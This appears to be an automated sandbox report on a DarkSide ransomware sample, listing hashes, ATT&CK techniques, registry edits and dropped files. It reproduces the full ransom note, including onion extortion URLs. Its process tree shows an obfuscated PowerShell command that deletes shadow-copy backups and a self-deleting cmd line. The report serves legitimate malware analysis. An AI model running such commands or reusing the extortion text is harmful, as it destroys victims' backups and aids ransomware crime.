darkside | 9c9e87c0c492673453acb1a253c8ae23ee8245531c37d6ef8ead76b6e2d1562e

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
15-03-2024 21:34

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General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.7f69a103.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (172) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
2916	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7f69a103.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7f69a103.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2304	Darkside.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7f69a103	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7f69a103\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7f69a103.ico"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7f69a103	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7f69a103\ = "7f69a103"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7f69a103\DefaultIcon	Darkside.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2936	powershell.exe
2304	Darkside.exe
2304	Darkside.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2304	Darkside.exe
Token: SeSecurityPrivilege	2304	Darkside.exe
Token: SeTakeOwnershipPrivilege	2304	Darkside.exe
Token: SeLoadDriverPrivilege	2304	Darkside.exe
Token: SeSystemProfilePrivilege	2304	Darkside.exe
Token: SeSystemtimePrivilege	2304	Darkside.exe
Token: SeProfSingleProcessPrivilege	2304	Darkside.exe
Token: SeIncBasePriorityPrivilege	2304	Darkside.exe
Token: SeCreatePagefilePrivilege	2304	Darkside.exe
Token: SeBackupPrivilege	2304	Darkside.exe
Token: SeRestorePrivilege	2304	Darkside.exe
Token: SeShutdownPrivilege	2304	Darkside.exe
Token: SeDebugPrivilege	2304	Darkside.exe
Token: SeSystemEnvironmentPrivilege	2304	Darkside.exe
Token: SeRemoteShutdownPrivilege	2304	Darkside.exe
Token: SeUndockPrivilege	2304	Darkside.exe
Token: SeManageVolumePrivilege	2304	Darkside.exe
Token: 33	2304	Darkside.exe
Token: 34	2304	Darkside.exe
Token: 35	2304	Darkside.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeBackupPrivilege	788	vssvc.exe
Token: SeRestorePrivilege	788	vssvc.exe
Token: SeAuditPrivilege	788	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 2936	2304	Darkside.exe	29
PID 2304 wrote to memory of 2936	2304	Darkside.exe	29
PID 2304 wrote to memory of 2936	2304	Darkside.exe	29
PID 2304 wrote to memory of 2936	2304	Darkside.exe	29
PID 2304 wrote to memory of 2916	2304	Darkside.exe	36
PID 2304 wrote to memory of 2916	2304	Darkside.exe	36
PID 2304 wrote to memory of 2916	2304	Darkside.exe	36
PID 2304 wrote to memory of 2916	2304	Darkside.exe	36

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
  2⤵
  - Deletes itself
  PID:2916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
456a86c1cd00246f96eb6a27cdac3127

SHA1
1a86deb9fc6211d675704744aea17d25709c9372

SHA256
378170e06a1c2c66779826cba0ba922497cbae0cf9d6f51fbe719ba3978b5bf4

SHA512
674f2ced8baf0108fea7280620d0d72ea832d9586aba6b8aa04026395e0adaad0808f46cd48f6b39975491e1b1305f3fff45522af92b890d756e7d01215a9072

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4947.tmp

Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e46d8d684cb62b717fbbd11921308d41

SHA1
5fed3e56214dfc647c9b46fecf3ad048aa6ba68e

SHA256
64556f2b642a74fce6152a7ed225d11f0e0c2e1e43c030218f7f0438f163e799

SHA512
4dd061d2b0ba27b35936bab203d22ef552924c7d9a58dd5f7e25f2a6919d0a398f4aff38a92342930a028fda9bee997766c22ebc8065a6d8e720cd204c585dda

Download Submit
C:\Users\Admin\README.7f69a103.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/2936-66-0x000007FEF4640000-0x000007FEF4FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2936-65-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2936-67-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2936-68-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2936-69-0x000007FEF4640000-0x000007FEF4FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2936-64-0x000007FEF4640000-0x000007FEF4FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2936-63-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2936-62-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download